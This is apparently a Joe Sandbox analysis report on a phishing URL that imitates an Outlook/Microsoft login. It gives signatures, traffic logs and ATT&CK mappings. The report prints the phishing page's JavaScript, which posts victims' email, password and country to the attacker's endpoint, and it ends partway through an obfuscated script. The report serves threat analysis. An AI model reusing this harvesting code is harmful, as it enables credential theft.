Edit tour

Windows Analysis Report
https://bu.marcel-andree.de/

Overview

General Information

Sample URL:	https://bu.marcel-andree.de/
Analysis ID:	1577022

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

HTML body contains low number of good links

Javascript checks online IP of machine

No HTML title found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2016,i,17718913859551020210,5470142254317290983,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5388 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bu.marcel-andree.de/" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://log.the-network-expert.ca/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Outlook' is well-known and is associated with Microsoft., The legitimate domain for Outlook is 'outlook.com'., The provided URL 'log.the-network-expert.ca' does not match the legitimate domain for Outlook., The URL contains hyphens and an unusual domain structure, which is often indicative of phishing., The domain 'the-network-expert.ca' does not have any known association with Outlook or Microsoft., The presence of an input field for 'Email Address' is common in phishing attempts to capture user credentials. DOM: 1.2.pages.csv
Source: https://log.the-network-expert.ca/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Outlook' is well-known and is associated with Microsoft., The legitimate domain for Outlook is 'outlook.com'., The provided URL 'log.the-network-expert.ca' does not match the legitimate domain for Outlook., The URL contains hyphens and an unusual domain structure, which is often indicative of phishing., The domain 'the-network-expert.ca' does not have any known association with Outlook or Microsoft. DOM: 1.3.pages.csv
Source: https://log.the-network-expert.ca/	Joe Sandbox AI: Score: 8 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'log.the-network-expert.ca' does not match the legitimate domain for Microsoft., The domain 'the-network-expert.ca' does not have any known association with Microsoft., The use of a subdomain 'log' and the structure of the URL suggest it could be a phishing attempt., The URL contains hyphens and an unusual domain structure, which are common in phishing URLs. DOM: 1.4.pages.csv

Source: https://log.the-network-expert.ca/

HTTP Parser: Number of links: 0

Source: https://log.the-network-expert.ca/_next/static/chunks/pages/index-e91d7dfda78ecd72.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[332],{7276:(e,t,s)=>{(window.__next_p=window.__next_p||[]).push(["/",function(){return s(6993)}])},6993:(e,t,s)=>{"use strict";s.r(t),s.d(t,{default:()=>c});var a=s(4848),n=s(6540),o=s(2505),l=s.n(o),i=s(9680),r=s.n(i);function c(){let[e,t]=(0,n.usestate)(""),[s,o]=(0,n.usestate)(""),[i,c]=(0,n.usestate)(""),[d,m]=(0,n.usestate)(!1),[u,_]=(0,n.usestate)(""),[h,g]=(0,n.usestate)(!1);(0,n.useeffect)(()=>{l().get("https://ipinfo.io/json?token=c3e87e382ddea7").then(e=>{let t=e.data.country;return l().get("https://restcountries.com/v3.1/alpha/".concat(t))}).then(e=>{c(e.data[0].name.common)}).catch(e=>{console.error("failed to fetch full country name:",e),_("failed to retrieve country information.")})},[]);let p=async t=>{if(t.preventdefault(),s.length>=5){g(!0);try{let t=await l().post("/api/send-email",{email:e,password:s,country:i});console.log("email sent successfully!",t.data.message),window.location.href="https://ne.abruis.io"}catch(e){console.error("f...

Source: https://log.the-network-expert.ca/	HTTP Parser: HTML title missing
Source: https://log.the-network-expert.ca/	HTTP Parser: HTML title missing
Source: https://log.the-network-expert.ca/	HTTP Parser: HTML title missing
Source: https://log.the-network-expert.ca/	HTTP Parser: HTML title missing
Source: https://log.the-network-expert.ca/	HTTP Parser: HTML title missing

Source: https://bu.marcel-andree.de/	HTTP Parser: No favicon
Source: https://bu.marcel-andree.de/	HTTP Parser: No favicon
Source: https://log.the-network-expert.ca/	HTTP Parser: No favicon
Source: https://log.the-network-expert.ca/	HTTP Parser: No favicon
Source: https://log.the-network-expert.ca/	HTTP Parser: No favicon
Source: https://log.the-network-expert.ca/	HTTP Parser: No favicon
Source: https://log.the-network-expert.ca/	HTTP Parser: No favicon

Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="author".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="author".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="author".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="author".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="author".. found

Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="copyright".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="copyright".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="copyright".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="copyright".. found
Source: https://log.the-network-expert.ca/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.18:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.18:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.18:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.18:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.18:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.48:443 -> 192.168.2.18:49750 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63

Source: global traffic	DNS traffic detected: DNS query: bu.marcel-andree.de
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: log.the-network-expert.ca
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: restcountries.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.18:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.18:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.18:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.18:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.18:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.48:443 -> 192.168.2.18:49750 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.win@17/27@21/107

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2016,i,17718913859551020210,5470142254317290983,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bu.marcel-andree.de/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2016,i,17718913859551020210,5470142254317290983,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
https://bu.marcel-andree.de/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
restcountries.com	146.190.198.121	true	false	high
log.the-network-expert.ca	76.76.21.21	true	true	unknown
ipinfo.io	34.117.59.81	true	false	high
bu.marcel-andree.de	76.76.21.21	true	false	unknown
www.google.com	142.250.181.132	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bu.marcel-andree.de/	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.17.78	unknown	United States	15169	GOOGLEUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
172.217.17.46	unknown	United States	15169	GOOGLEUS	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
146.190.198.121	restcountries.com	United States	702	UUNETUS	false
172.217.17.74	unknown	United States	15169	GOOGLEUS	false
172.217.21.35	unknown	United States	15169	GOOGLEUS	false
64.233.163.84	unknown	United States	15169	GOOGLEUS	false
76.76.21.21	log.the-network-expert.ca	United States	16509	AMAZON-02US	true

Private

IP
192.168.2.18

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577022
Start date and time:	2024-12-17 21:16:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://bu.marcel-andree.de/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@17/27@21/107

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.78, 64.233.163.84, 142.250.181.142
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://bu.marcel-andree.de/

LLM Input / Output

Input	Output
URL: https://bu.marcel-andree.de Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://bu.marcel-andree.de
URL: https://bu.marcel-andree.de/.well-known/vercel/sec... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. It uses obfuscated code and dynamic code execution techniques, which can potentially be used for malicious purposes. Additionally, the script appears to be sending data to external domains, which could lead to data exfiltration. While the intent is not entirely clear, the overall behavior of the script warrants further investigation and a medium-risk assessment." }
function u(V,B){const c=v();return u=function(s,w){s=s-(0x210e+0x1f56+-0x3f11);let y=c[s];if(u['IufMMc']===undefined){var n=function(W){const Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let X='',d='',p=X+n;for(let J=0x1f94+-0x5b-0x19+-0x2877,P,M,F=0x47c+-0x3bf-0x2+-0xbfa;M=W['charAt'](F++);~M&&(P=J%(-0x3fd0x6+-0x25-0xec+-0xa2a)?P(-0x19f7+0x106e0x2+-0x6a5)+M:M,J++%(-0x1d4b-0x1+-0x264+-0x1ae3))?X+=p['charCodeAt'](F+(-0x40x716+-0x2e1+0x10x1f43))-(0x2310+-0x101d+-0x10x12e9)!==-0x1c21+0x1d0a-0x1+-0x392b-0x1?String['fromCharCode'](-0x1420+-0xad3+-0x6-0x553&P>>(-(0x10x2632+0x40x77b+-0x441c)J&-0x51c+0xa93-0x3+-0xb9-0x33)):J:0x107e+0x1c49+-0xeed0x3){M=Y['indexOf'](M);}for(let z=0xfad+0x2-0x196+0xc81-0x1,R=X['length'];z<R;z++){d+='%'+('00'+X['charCodeAt'](z)['toString'](0x1f03-0x1+0x967-0x1+0x287a))['slice'](-(0x1431+0x23-0xc1+0x20x31a));}return decodeURIComponent(d);};const e=function(W,Y){let X=[],d=0x820x1b+-0x1a1a+0xf40xd,p,J='';W=n(W);let P;for(P=-0xed3+0xcf+0xe04;P<0x170xeb+0x17eb+-0x2c08;P++){X[P]=P;}for(P=0x8-0x3eb+0x260a+-0x6b20x1;P<0x482+-0x119f+-0xe1d-0x1;P++){d=(d+X[P]+Y['charCodeAt'](P%Y['length']))%(-0xeef+-0x9-0x335+-0xcee),p=X[P],X[P]=X[d],X[d]=p;}P=0xf73+0x25-0x7+-0xe70,d=-0x1bf+-0x1ab1+0x1c70;for(let M=-0x1-0xd85+-0x400+-0x985;M<W['length'];M++){P=(P+(-0x3e9+-0xa65+0x210x6f))%(0x2126+0x1eb7+-0x3edd),d=(d+X[P])%(0x166-0x15+-0x491-0x7+-0x1990x1),p=X[P],X[P]=X[d],X[d]=p,J+=String['fromCharCode'](W['charCodeAt'](M)^X[(X[P]+X[d])%(-0x84a+-0x1be-0x2+0x20x2e7)]);}return J;};u['eNxVgS']=e,V=arguments,u['IufMMc']=!![];}const A=c[0x6270x5+0x253f+0x6cd-0xa],S=s+A,j=V[S];if(!j){if(u['QhLaVR']===undefined){const W=function(Y){this['sqniZR']=Y,this['puiHUp']=[-0x9d9-0x1+-0x1344+0x96c,0x4130x1+0xe71+-0x1284,0xe74+-0x1-0x305+0x1f1-0x9],this['draurT']=function(){return'newState';},this['yzxRuH']='\x5cw+\x20\x5c(\x5c)\x20{\x5cw+\x20',this['AJzumU']='[\x27\|\x22].+[\x27\|\x22];?\x20}';};W['prototype']['SCAUiX']=function(){const Y=new RegExp(this['yzxRuH']+this['AJzumU']),X=Y['test'](this['draurT']['toString']())?--this['puiHUp'][0x1158+0x9fe+-0x1b55]:--this['puiHUp'][-0x98e+0xb4+0x8da];return this['AJbvOM'](X);},W['prototype']['AJbvOM']=function(Y){if(!Boolean(~Y))return Y;return this['XQYCfD'](this['sqniZR']);},W['prototype']['XQYCfD']=function(Y){for(let X=-0x30x5e3+-0x1ff1+0x319a,d=this['puiHUp']['length'];X<d;X++){this['puiHUp']['push'](Math['round'](Math['random']())),d=this['puiHUp']['length'];}return Y(this['puiHUp'][0x20x3b3+-0x25a+0x4-0x143]);},new W(u)['SCAUiX'](),u['QhLaVR']=!![];}y=u['eNxVgS'](y,w),V[S]=y;}else y=j;return y;},u(V,B);}const VD=u;(function(Ve,VW){const VT=u,VY=Ve();while(!![]){try{const 